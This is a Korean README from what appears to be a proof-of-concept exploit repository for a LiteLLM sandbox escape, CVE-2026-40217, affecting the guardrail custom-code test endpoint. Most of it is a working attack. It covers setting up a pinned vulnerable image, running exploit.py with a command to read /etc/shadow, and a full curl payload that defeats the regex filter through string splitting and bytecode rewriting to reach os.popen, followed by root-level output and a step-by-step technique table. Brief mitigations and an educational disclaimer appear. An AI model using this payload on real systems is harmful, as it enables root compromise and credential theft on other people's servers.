
해당 취약점을 직접 재현하기 위한 코드
LiteLLM
POST /guardrails/test_custom_code— 기본 Docker 배포에서 루트(root) 권한으로 이어지는 원격 코드 실행(RCE) 샌드박스 탈출.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-40217 |
| CVSS | 8.8 (HIGH) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-913 (동적 관리 코드 리소스에 대한 부적절한 제어) / CWE-94 |
| 영향 범위 | LiteLLM ≤ 2026-04-08 (v1.83.11 이전) |
| 수정 버전 | v1.83.11+ (자체 제작 샌드박스를 RestrictedPython으로 대체) |
| 발견자 | Markus Vervier — X41 D-Sec GmbH |
| 공개일 | 2026-04-08 |
| 링크 | X41 권고 • GHSA-wxxx-gvqv-xp7p • oss-security |
LiteLLM의 POST /guardrails/test_custom_code 엔드포인트는 인증된 사용자가 가드레일 테스트를 위해 임의의 Python 코드를 제출할 수 있게 합니다. 이 엔드포인트는 정규식 기반 소스 코드 필터링을 사용해 위험한 작업을 제한하려고 시도하지만, CPython 바이트코드 재작성 기법을 사용하면 이를 완전히 우회할 수 있어 프록시 프로세스에서 임의 코드 실행이 가능합니다. 기본 Docker 이미지에서는 프록시가 root로 실행되므로 영향이 더 커집니다.
# Python 종속성 설치 (exploit.py에 필요)
pip install -r requirements.txt
⚠️ 중요:
docker-compose.yml은 2026년 3월 22일자 특정 다이제스트 (sha256:7c311546...)로 취약한 이미지를 고정합니다. 태그를main-latest또는 그 이상의 최신 버전으로 변경하지 마십시오 — 버전 번호가 그렇지 않게 보여도 (예:v1.83.10-stable은 패치 후 재빌드되었으며 취약하지 않습니다) 이후 이미지에는 이미 수정 사항(RestrictedPython)이 포함되어 있을 수 있습니다.
# 1. 종속성 설치 (아직 하지 않은 경우)
pip install -r requirements.txt
# 2. 취약한 LiteLLM 인스턴스 시작
docker compose up -d
# 3. 익스플로잇 실행
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"
# 4. 민감한 파일 읽기 (--cmd 인자 변경)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
--cmd "cat /etc/shadow"
# 또는 curl로 직접 사용
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/guardrails/test_custom_code \
-d '{
"custom_code": "def apply_guardrail(inputs, request_data, input_type):\n obj = str.mro()[1]\n def g(fn):\n yield fn.placeholder\n c = g(None).gi_code\n gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n for v in g(http_get):\n gd = v\n break\n bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n return {\"rce\": imp(\"os\").popen(\"id\").read()}",
"test_input": {"messages": [{"role": "user", "content": "test"}]}
}'
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}
CVE-2026-40217/
├── README.md # 이 파일
├── docker-compose.yml # 원커맨드 취약 환경
├── requirements.txt # 종속성
├── exploit/
│ ├── exploit.py # 전체 익스플로잇 스크립트
│ └── payload.py # 바이트코드 페이로드 모듈
├── docs/
│ └── advisory.md # 번역된 권고 세부 정보
└── screenshots/ # 증명 스크린샷
RestrictedPython 사용)/guardrails/test_custom_code 차단docker run --user 1000:1000 ...고지 사항: 이 콘텐츠는 교육 목적 및 공인된 보안 테스트용으로만 제공됩니다.
| 단계 | 기법 | 코드 |
|---|
| 1 | 문자열 연결을 통한 정규식 우회 | "_"+"_gl"+"ob"+"als"+"_"+"_" |
| 2 | str.mro()[1]로 object 클래스 획득 | obj = str.mro()[1] |
| 3 | gi_code로 생성기 코드 객체 접근 | c = g(None).gi_code |
| 4 | object.__setattr__로 함수 __code__ 교체 | obj.__setattr__(g, cn, c.replace(co_names=(gn,))) |
| 5 | http_get.__globals__에서 실제 builtins 추출 | imp = gd["__builtins__"]["__import__"] |
| 6 | os.popen으로 RCE 달성 | imp("os").popen("id").read() |